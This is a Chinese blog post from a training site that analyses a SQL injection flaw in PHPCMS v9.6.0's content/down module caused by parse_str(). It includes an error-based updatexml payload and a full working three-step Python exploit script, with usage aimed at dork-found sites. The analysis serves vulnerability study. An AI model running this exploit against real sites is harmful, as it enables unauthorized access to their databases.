PHP语言学习之PHPCMS v9.6.0 wap模块 SQL注入
小标 2019-05-22 来源 : 阅读 2455 评论 0

摘要:本文主要向大家介绍了PHP语言学习之PHPCMS v9.6.0 wap模块 SQL注入,通过具体的内容向大家展示,希望对大家学习php语言有所帮助。

本文主要向大家介绍了PHP语言学习之PHPCMS v9.6.0 wap模块 SQL注入,通过具体的内容向大家展示,希望对大家学习php语言有所帮助。

PHP语言学习之PHPCMS v9.6.0 wap模块 SQL注入

调试这个漏洞的时候踩了个坑,影响的版本是php5.4以后。


由于漏洞是由parse_str()函数引起的,但是这个函数在gpc开启的时候(也就是php5.4以下)会对单引号进行过滤\‘  。


看这里:https://github.com/80vul/pasc2at


漏洞来源:https://www.seebug.org/vuldb/ssvid-92929


分析:这个漏洞要三步的过程,直接进入第三步。


根据给的poc:   /phpv9.6.0/index.php?m=content&c=down&a_k=98f1bLd4Xl93HOb6nCHAem4rZNirba2Plthb5VFosbY8sc5Ge5RUOcXNmToG7KqSO4bFECOrCZKwNhkiCWbpToHPxCMsDVNT50f9b77GSaWC2sX-cwwyfhrIApZgubCyapauw4S9NTkNggs1YgGdCrk3cFXANkAC6v6UMN-be3zwZqfVLeOYdiw


可以看到应该是a_k参数出现问题,位于content目录下, down.php页面,


parse_str($a_k); 以&为分隔符,解析变量并且注册变量,并且对url进行解码 (参考://php.net/manual/zh/function.parse-str.php)


我们的poc是{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}


会对id,m,f,modelid,catid 进行注册。 这里也要注册后面的参数,不然走不到get_one的流程。(有次没注册$f,调试的时候直接跳出)


进入get_one函数就开始对sql语句进行查询了。


所以就是个注入了,是由parse_str()函数引起。


接着看怎么解码的,继续下断点。


function sys_auth($string, $operation = ‘ENCODE‘, $key = ‘‘, $expiry = 0)  函数位于 phpcms/libs/functions/global.func.php  第384-430行


好难,还是看大牛解析(//wooyun.jozxing.cc/static/bugs/wooyun-2015-0131548.html)


 看第二个请求。


代码如下: 


存在注入语句的参数是 src,进入了safe_replace()函数,把常见的危险字符串过滤成空,又只进行了一次过滤,简直就是绕waf的好帮手。


设置了json_str,所以在回显中cookie有这么一段。


Set-Cookie: gggCB_att_json=4999e2GcIhZF8XVhycAj9oLE33PZMVtPv1gABnD5mdm5sI-0u9Yb4R6K5ISkWAvm8Eq2DiGdvWz4R4mSKDiKeZm-VeYkob8tukEmYPbZud6yb9cCRp9FR7tUIP92zHdUoynZYdTct2LQDeADrKgcbc1VNwUsVhPEwV8_Ngr7CegmdMsMx5mGiOI


 这个post请求中有个post的参数,userid_flash ,搜索一下他干嘛的,


要存在userid,不然就不能往下执行,所以才有了第一步。


poc:


#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = i@cdxy.me

"""
PHPCMS content/down.php SQL Injection

version
  <= 9.6.0
Type
  error-based
Usage
  python POC-T.py -s phpcms9.6.0-sqli -aG "Powered by PHPCMS v9" --limit 100

"""

import requests
import re
from urllib import quote

TIMEOUT = 3

def poc(url):

    payload = "&id=%*27 and updat*exml(1,con*cat(1,(us*er())),1)%23&modelid=1&catid=1&m=1&f="

    cookies = {}
    step1 = ‘{}/index.php?m=wap&a=index&siteid=1‘.format(url)
    for c in requests.get(step1, timeout=TIMEOUT).cookies:
        if c.name[-7:] == ‘_siteid‘:
            cookie_head = c.name[:6]
            cookies[cookie_head + ‘_userid‘] = c.value
            cookies[c.name] = c.value
            break
    else:
        return False

    step2 = "{}/index.php?m=attachment&c=attachments&a=swfupload_json&src={}".format(url, quote(payload))
    for c in requests.get(step2, cookies=cookies, timeout=TIMEOUT).cookies:
        if c.name[-9:] == ‘_att_json‘:
            enc_payload = c.value
            print ‘111‘
            break
    else:
        return False

    setp3 = url + ‘/index.php?m=content&c=down&a_k=‘ + enc_payload
    print ‘222‘
    r = requests.get(setp3, cookies=cookies, timeout=TIMEOUT)
    print r.content

print poc(‘//phpstudy.com/phpv9.6.0/‘)


本文由职坐标整理并发布,希望对同学们有所帮助。了解更多详情请关注职坐标编程语言PHP频道!

本文由 @小标 发布于职坐标。未经许可,禁止转载。
喜欢 | 0 不喜欢 | 0
看完这篇文章有何感觉?已经有0人表态,0%的人喜欢 快给朋友分享吧~
评论(0)
后参与评论

您输入的评论内容中包含违禁敏感词

我知道了

助您圆梦职场 匹配合适岗位
验证码手机号,获得海同独家IT培训资料
选择就业方向:
人工智能物联网
大数据开发/分析
人工智能Python
Java全栈开发
WEB前端+H5

请输入正确的手机号码

请输入正确的验证码

获取验证码

您今天的短信下发次数太多了,明天再试试吧!

提交

我们会在第一时间安排职业规划师联系您!

您也可以联系我们的职业规划师咨询:

小职老师的微信号:z_zhizuobiao
小职老师的微信号:z_zhizuobiao

版权所有 职坐标-一站式IT培训就业服务领导者 沪ICP备13042190号-4
上海海同信息科技有限公司 Copyright ©2015 www.zhizuobiao.com,All Rights Reserved.
 沪公网安备 31011502005948号    

©2015 www.zhizuobiao.com All Rights Reserved

208小时内训课程